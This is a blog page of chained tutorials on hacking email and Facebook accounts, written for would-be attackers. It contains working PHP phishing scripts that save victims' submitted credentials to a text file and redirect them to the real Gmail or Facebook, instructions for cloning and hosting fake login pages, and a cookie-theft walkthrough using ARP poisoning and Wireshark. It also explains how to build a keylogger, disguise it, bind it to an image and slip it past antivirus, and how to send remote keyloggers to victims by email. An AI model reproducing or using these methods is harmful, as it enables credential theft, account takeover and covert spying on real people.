Making Facebook Phishing Site

Hey all in this tutorial i will be telling you all how to make your own phishing site. Well I already discussed about making phishing page but in this tutorial i will be telling about making phishing site as injecting with site easier that injectig with just a page.

As we already discussed about what is phishing and all so i think we need to start our work without wasting time, so follow me

BASIC STEPS

1. Make an account in 000webhost.com and also confirm your account.











2. Login to your account in www.000webhost.com.








3. Now download these two files.
     1. index.htm
     2. next.php








4. Now when you are logged into your account click on the Go to Cpanel  in front of your domain that you had registered, and then Go to File Manager under Files and log into it.

5. Now Click on the Public_HTML.













6. Now click on the Upload button , choose the file under the Archives that you have downloaded, to be uploaded.




Now if you open your site after uploading it will look something as shown in below image

7. Now any one who will visit our site would be taken to the Fake Facebook Login Page. After they enter their Username and Password, they will be taken to another page that will show them error. So there is less chance that it will be detected.


 To access the input data ( Usernames and Password ) Goto the file manager again, then from file manager to public html and there you'll see a new file  noizy.txt will be created as soon as someone logins from that fake page.



8. The Input Data (Email and Password) will look like following:   



 

COMMON DOUBT

 
Many times i get the question " how will i know address of my login page ?" . Its actually very simple. go to file manager. And look for your URL in upper right side as shown in picture below:

AS YOU CAN SEE THERE IS DESKHELP.NET46.NET WRITTEN, THATS YOUR URL.
now enjoy :)
Hope you all enjoyed this tutorial and if you have any  problem or question then you may ask in comments.

Read More

Email AC Hacking (Cookie Stealing) - Part 7

Hey awl :) in diz tut i will be telling uhh awl abt another way n quite interesting way f hacking email ac :D that is Cookie Stealing ;)

Things Required

• Ettercap or Cain and able for ARP poisoning the victim
• Wireshark for sniffing packets and stealing cookies 
• Firefox browser and Cookie logger add on for injecting the stolen cookies in our browser

What are Cookies and what can we do by Stealing Cookies

Cookies are small files that stored on users computer by websites when a user visits them. The stored Cookies are used by the web server to identify and authenticate  the user .For example when a user logins in Facebook a unique string is generated and one copy of it  is saved on the server and other is saved on the users browser as Cookies. Both are matched every time the user does any thing in his account

So if we steal the victims cookie and inject them  in our browser we will be able to imitate the victims identity to the web server and thus we will be able to login is his account . This is called as Side jacking .The best thing about this is that  we need not no the victims id or password all we need is the victims cookies


NOTE= For doing diz attack ur victim must be in LAN


Ok now follow me step by step




STEP 1 --> Firtly ARP Poison your victim . For this purpose you can use cain and cable or Etthercap (for that you  can see my post on ARP Poisoning)


STEP 2 --> After ARP Poisoning open your Wireshark  and click on capture button from the menu bar  and then select your interface and finally click on start capture


STEP 3 --> Now you will obeserve that the packets been captured :) now wait untill the victim logs in to his account (Gmail,Facebook)

STEP 4 --> As soon as the victim logs in at the mean time u can find his/her ip address by using CMD(for doing that open cmd and type .Ping Facebook.com to find your victims ip address

STEP 5 --> Now filter all IP packets having IP address of www.facebook.com and search for HTTP protocol followed by GET /home.php, this may vary depending on region and time/zone but don't bother try to search all packets with HTTP GET for cookies.

STEP 6 --> Now from packet details window expand the packet information for above packet and you'll get 8-10 different cookies that are stored by www.facebook.com on victim's PC. Right click and copy all cookies names and values in notepad. 

STEP 7 --> Now open Firefox and open add and edit cookies ,which we downloaded earlier , add all the cookie values .

Now close Cookie editor and open Facebook, you'll find yourself logged into the victims account.

Read More

Email AC Hacking(Gmail Phishing)- Part 6

Hey awl :) In diz tut i will be telling uhh all about gmail phishing as i tod about facebook phishing in mah last tut :D

so here we go

Things Required 

• .html file

• .php file

• .txt file

 Step 1--> Creating .html File

For that firstly go to www.gmail.com (make sure that the page is loaded completely) and right click and select view source ( in firefox ) or view source code option in other browsers.

After that select all ( CTR + A ) and copy all the code and paste it in notepad.
and  then search for the code action="https://www.google.com/accounts/ServiceLoginAuth" method="post";

and Just change the above code as action="gmail.php" method="post";


after changing that to gmail.php (name mentioned in d above code ) just save it in the form login.html ( anyname.html ). 


Step 2--> Creating .php File


now for  creating a php script,just copy the below php code into notepad and save in the format mail.php (  or anything.php)

<?php
header ('Location: http://www.gmail.com ');
$handle = fopen("pass.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>


Step 3--> Creating .txt File


Now create a .Txt file with name pass.txt ( name mentioned in php script )




Step 4-->  Now host these three file(.txt,.html.php) is any web-hosting site that supports php :) 


Now once everything is up and ready to go, go to the link your host provided you for your website and you should see the Gmail page replica. Type in a username/password and click Sign in. This should have redirected you to the real Gmail page.

Now whoever will try to login for Gmail through your Fake page, his/her Username and Password will be automatically saved in Password.txt file as plain text which you can view easily. Also the the victim won't have a hint that he/she has been hacked since, he/she will be redirected to the original Gmail page and will get a feel as if he/she entered a wrong password by mistake.

Read More

Email AC Hacking (FACEBOOK Phishing) -Part 5

Hey awl :D 2day i will be telling uhh awl abt hacking email ac using phishing technique(modified to tabnapping) :)

In mah last post i told you all about keyloggers n i think u awl r clear with that concept __If not den let me know :)

Things Required

• Phishing.php script

• Pass.html script

•  Password.txt

Ohk so here we go _______ follow me step by step  ~_~

Note= In diz tut i will be telling abt facebook phishing  only

Step 1--> Creating Our Script
 
 Copy the below script and save diz script as Phishing.php

<?php
$fp = fopen("Passwords.htm", "a");
fwrite($fp, "Email:$_POST[email]\tPassword:$_POST[pass]");
echo "<HTML>
<head>
<FRAMESET cols=\"*\">
<FRAME SRC=\"http://www.facebook.com\">
</FRAMESET>";
?>

Step 2--> Creating Index.html Page

Ohk for that open facebook Login page ((make sure that the page is loaded completely) and right click and select view source (in firefox) or view source code option in other browsers.)

Now select all ( CTR + A ) and copy all the code and paste it in notepad. 


Then search(CTR + F) for the keyword action.You can see the code as given below.

    action="https://www.facebook.com/login.php?login_attempt=1"


Just change the above code with     action="pass.php"

after changing to pass.php (name mentioned in above code) just save it in the form facebook.html (anyname.html). By finishing this step our phishing page is ready.Now we want to create script page for this phishing page.


Step 3--> Now create a completely blank text file with name passwords.txt.(name mentioned in our php script)

Step 4--> Ok now your phishing page is ready to be infected now just go to any web hosting site which supports php and upload pass.html and Phishing.php 

After hosting you will get a direct link to your phishing page,that is to your facebook.html page.just use this link to access or send phishing page and now when anyone tries to login through your phishing page a new html page with name password.html will be automatically created in your hosting directory with the password and username entered there.

But the problem Facebook phishing has is, even if you get someone's Facebook password and change it, the person is notified by an email and he/she will get to know that someone is trying to access his/her password and will definitely change it :( . So, its better to directly hack their primary account to gain complete access to the victims account ;)

 








 



 





 

Read More

Email AC Hacking(Software Keylogger) -Part 4

 hey awl howz yuh :P well in diz tut i will be telling uhh awl abt hacking email ac using software keylogger :)
If u remeber in last post we talked abt hardware keylogger :)

s0 here we go___!!!!!!!!


I thnk you all know abt what is keylogger actually as i told yuh awl in mah sum last tuts :P

ohk so how does sofwatre keylogger works hmmm <?>

For dt frstly we must make appropriate keylogger which can penetrate av's n all the problems and jst strokes d keys dt is wt we  r wanting ~_~

s0 frstly i will tell uhh awl how to make an appropriate keylogger den how to inject with it :)

ohk  so f0ll0w :D


s0 firstly download latest version of keyolgger as in diz tut m taking xample f rapzo keylogger 1.5 public edition

 

Things Required

* Keylogger (in my case rapzo kelogger )

* Resource Hacker(http://www.ziddu.com/download/14025629/Res.rar.html)

* Winrar(or any compressing tool)

* Microsoft Net framework(must be installed on ur system)

ohk nw frstly download ur keylogger :) but note net framework must be installed 2 run ur keylogger :O

Now after download ur keylogger open it n aftr dt open .exe file f ur keylogger


ohk so heres three options i.e. mail setup,about,options so frstly check option button n enable  1,4,3 option n also wen u select 4th option den a new setup will pop-up in dt click on select all option :)

Now go to mail setup n fill it with appropriate info






 

Now go to mail setup n fill it with appropriate info






you can also check it by using test me option :D

if after clicking on test me a box pop-up den its ok otherwise ders any prb :P

 

Okiz so we made our keylogger but is it gd enough to bypass AV :P <?>
answeer is no so lets move on :D

Now click on build server after filling all appropriate options :) n it will be saved in default directory u can also chng dt

After dt  run resource hacker n after dt open ur server dt u build in above step with resource hacker



 now after opening click on version info then click on 1 then click on "0" there you can see file description is Hijackthisfile reaplace it with Microsoft
 



 

 Ok letme tell you why i added resource hacker in diz tut :P

with diz u can bind it with any jpeg file `_` using any binding spft like easy binder and upload it any hosting site like mediafire.com and share with your victim when he/she will run then our keylogger will start stroking d keys :D

one more thng most f d keyloggers r detectable with AV's so u must use tricks for bypassing dem der r many tricks in diz i have talked abt binding in later tuts i will tell another ways fr doing dt :)


 

Read More

Email Ac Hacking (Hardware Keylogger) -Part 3

Today I’ll be giving you a detailed information on hardware keyloggers and their use. I will also teach how to hack an email using hardware keylogger. If you are new to the concept of keyloggers or haven’t read my previous post about email hacking then you must refer my previous post Hacking an email account. Here I’ll give a breif description about keyloggers.

A software keylogger (or simple keylogger) is a stealth computer program that captures every keystroke entered through the keyboard.

Now I’ll tell you what is a hardware keylogger and how it can be used for hacking an email.
Hardware Keyloggers are used for keystroke logging, a method of capturing and recording computer user keystrokes. They plug in between a computer keyboard and a computer and log all keyboard activity to an internal memory. They are designed to work with PS/2 keyboards, and more recently with USB keyboards. A hardware keylogger appears simply as a USB pendrive (thumb drive) or any other computer peripheral so that the victims can never doubt that it is a keylogger. So by looking at it’s appearence it is not possible to identify it as a keylogger. Here are some of the images of hardware keyloggers for your convenience.

So by looking at the above images we can come to know that hardware keyloggers look just like any USB or PS/2 device. So it is very hard to identify it as a keylogger.

Insatalling a Hardware Keylogger to Hack the Email Password

The hardware keylogger must be installed between the keyboard plug and the USB or PS/2 port socket. That is you have to just plug in the keylogger to your keyboard’s plug (PS/2 or USB) and then plug it to the PC socket. The following image shows how the keylogger is installed.

Once you install the hardware keylogger as shown in the above two images the keylogger starts recording each and every keystroke of the keyboard including email passwords and other confidential information. The hardware keylogger has an inbuilt memory in which the logs are stored.

Read More

Email AC Hacking (Keylogger Basics) -Part 2

Hey awl once again howz yuh :P Ok so nw m gng 2 tell uhh abt keylogger .I will be giving brief intro f kelogger in diz tut :D :D

S0 here we go :D

I know most of you are new to the concept of keyloggers. For some of you, this might be the first time you heard about the term “keylogger”. So to give you a clear picture and make you understand better I would like to take up this post in the form of FAQs (Frequently Asked Questions). Here we go…

1. What is a Keylogger?

A keylogger (also called as spy software) is a small program that monitors each and every keystroke a user types on a specific computer’s keyboard. A keylogger program can be installed just in a few seconds and once installed you are only a step away from getting the victim’s password.

2. How Keylogger works?

Once the keylogger is installed on a PC, it starts operating in the background (stealth mode) and captures every keystroke of the victim on that PC. Let’s take up a small example: The victim goes to http://mail.yahoo.com and types his “username” and the “password” in the respective fields to login. The keylogger silently records these keystrokes and stores them in the logs. These logs when opened up shows the captured “username” and “password” and will also tell you that they were typed in the Yahoo login page. Thus the keylogger loads upon every startup, runs in the background and captures each and every keystroke.

3. How to install the keylogger?

A keylogger can be installed just like any other program. Just follow the screen instructions and you’re done.

4. Do I need any special knowledge to install and use the keylogger?

Absolutely NOT! Anyone with a basic computer knowledge can install and use the keylogger. It requires no special skills.

5. Once I install the keylogger can the victim come to know about it’s presence?

No. The victim will never come to know about the presence of the keylogger on his/her computer. This is because, once installed the keylogger will run in total stealth mode. Unlike other programs it will never show up in start-menu, start-up, program files, add/remove programs and task manager. So the victim can no way identify it’s presence on his/her PC.

6. Can I be traced back if I install the keylogger on some other computer?

No, it’s almost impossible to trace back to you for installing the keylogger on other’s PC.

Which keylogger is the best?

Today there exists hundreds of keyloggers on the market and most of them are no more than a scam. So I tested some of the top keyloggers and conclude that the following is the best one.

  >>  SniperSpy'

  >>  Rapzo

  DESE two r mah personal fav u can serach many more  jst GO0GLe and in other i will be taking xample f sniperspy in diz tut :)

8. How SniperSpy works?

I will try to explain the working of Sniperspy in simple steps.

1. After you purchase Sniperspy, you’ll be able to create the installation module using easy set-up program. You need to email this module to the remote user as an attachment.

2. When the remote user runs the module it’ll get installed silently and monitoring process will begin. The keystrokes are captured and uploaded to the SniperSpy servers continously.

3. You can login to your Sniperspy account (you get this after purchase) to see the logs which contains the password.

I don’t have physical access to the traget computer. Can I still use SniperSpy?

Yes you can. SniperSpy supports REMOTE INSTALLATION feature which allows you to remotely install the program on any PC even if you have no physical access to it. For remote installation all you need to do is just place the module (refer FAQ-8) in a .zip/.rar file and send it as an attachment to the target email address (for which you need the password).

Can I install SniperSpy on a local computer?

If you need to install to your local (current) computer instead of your remote computer, then the process is simple. Simply navigate to the folder in which you saved your module ( Refer FAQ-8). Double-click the module filename to execute it. Nothing will appear on the screen as the software is installed.

What if the antivirus block from sending it as an email attachment?

Instead of sending the keylogger as an email attachment, it is recommended that you place the file in .ZIP/.RAR format and upload it to www.fileden.com. After uploading, just send the direct download link to the victim via email. Once he downloads the file from this link and run it, the keylogger will get installed automatically. 

Why SniperSpy is the best?

• SniperSpy supports REMOTE INSTALLATION feature. This feature is not present on most of the keyloggers.
• SniperSpy is fully compatible with Windows 2000/XP/Vista/7 and alsoMac.
• SniperSpy canbypass any Firewall.
• SniperSpy is more reliable than any other keylogger program. You need not rely on your email account to receive the logs. Instead you can just login to your online SniperSpy account to receive the logs.
• SniperSpy captures full-size screenshots of the activities on the target PC.
• Records BOTH sides of chats / IMs in Google Talk, Yahoo IM, Windows Live and more.
• SniperSpy is more easy to install and requires no extra knowledge.
• SniperSpy is recognized by BBC, CNN, CBS and other news networks. Hence it is reputed and trustworthy.

How safe is to use SniperSpy?

Sniperspy is completely safe to use since all the customer databases remain confidential and private. SniperSpy do not collect any information from your system other than the information required for the product’s successful operation. They will not contact you in any way unless you request assistance.

Is my online order 100% Safe and Secure?

Absolutely Yes! All the e-commerce transactions for SniperSpy is handled by Plimus – they are a trusted online retailer specializing in digitally delivered products. All your information remains private and secure. The safety and protection of your personal information is 100% guaranteed. So you can place your order for SniperSpy with no worries of scam!

SniperSpy is completely reliable, safe and best keylogger out there. It is really worth the price that you pay for it. I promise that you cannot get a better keylogger than this. So what are you waiting for? Go grab SniperSpy now!

Ok so its enough fr diz tut in next i will be showing in detail with xplanation n screenshots :D f using RAPZO Keylogger :)

Read More

Email AC Hacking(INTRO) -Part 1

Hey awl h0wz yuh :P well i tht why nt 2 make a series in email accounts hacking as many f u r interested n keen to know d best possible ways of hacking email accounts like fb,gmail,etc

Okiz frstly lemme tell uhh dt never try r use any soft r get attracted 2 d adverstisements for hacking accounts dey r nthng bt just a f##king stupids thngs :) ders no software for hacking email accounts :P remeber dt guyz :D

After dt letme tell uhh d possible ways for hacking email accounts :)

  Ok so m explaining  all the Possible Ways to Hack an Email Account . Most of us believes that email accounts cannot be Hacked but in this world nothing is impossible to hack. Email account hacking is like counting numbers 12345.... Now you ALL will think that I am joking but I am not . You will going to believe when I explain the various ways to HACK EMAIL ACCOUNT.

So read on guyz____!!!!

METHODS TO HACK EMAIL ACCOUNTS

1. Keylogger (With and Without Physical Access).
2. Using Remote Administration Tool.
3. SPECIAL ONE ( PHISHING but doing it in a Smart Way).
4.Cookie stealing(aWw one)
5.Trojans

1.

KEYLOGGER

a. WHEN YOU HAVE PHYSICAL ACCESS OF SYSTEM.
So friends lets start our first Method . From the title you came to know We are concentrating on Hacking the Email Account but this is the universal Method to hack Anything for a Particular user as we will get all the Key Strokes by the user in the form of Written Log. I have already discussed this method previously but only using the WEB BROWSER Keylogger.

There are more other keyloggers like EcodSoft KeyLogger which are still undetectable by any AntiVirus.
Ecodsoft Keylogger is and All in one Invisible Keylogger . Ecodsoft Keylogger is very powerful monitoring software which could record and log all the computer activity. This key logger tool work in stealthy mode and completely invisible to other people. It could not only record key stroke but the software informations such as applications launched, websites visited, and popular Instant Messenger log.

As the best computer monitor and logger software, Ecodsoft Keylogger is very easy to use with its friendly UI, even for the beginners. After install on any PC you want, it could record and save allthe activity. So it could be excellent parent control and surveillance tool and also could work as a employee monitor.Now you could download it for free and try it easily!

2.

USING REMOTE ADMINISTRATION TOOLS

Remote Administration Tools means RAT are the software programs that remotely monitors the each and every details of the Work being done on the system. It's working is similar to Remote Keylogger.
As the name of the RAT comes into my Mind and I always remember the one Name "TROKUZAN". The dad of all Remote Administration Tools. There are other various remote administration Tools like SPY RAT,SNIPER SPY,WIN SPY etc.. but most of them are detectable and make them undetectable you have to follow the similar steps as explained above in case of REMOTE KEY LOGGER.


There is no method to prevent you from the RAT if it enters into your system. So try to avoid downloading files from anonymous sites,downloading waste hacking tools, keygens, cracks etc.

3.

Phishing

Phishing is quite good and working tricks and also its been modified nd also called tabnapping .I will be talking abt diz in deatil in later tuts 4.

Cookie Stealing

In cookie stealing attack we capture cookies of our victim after getting cookie we open its ac using dt cookie :D
5.

Trojans

We can also hack our victim ac by hacking his/her computer r infecting gim/her from trojans :)

SUGGESTIONS

1. Never Follow any Link from you email account even its from GOOGLE, ORKUT or ANY WEBSITE.

2. ALWAYS CHECK THE ADDRESS BAR CLEARLY ALWAYS BEFORE FOLLOWING ANY LINK.

3. Never Share your personal information with anyone or send it to anyone.

4. Never Open Mails like YOU WON THIS AMOUNT or LOTTERY. Because the are BOT emails.


hope you njoyed my intro tut on email hacking :)
i will be posting abt all f dem in detail in other tuts so stay here :D

Read More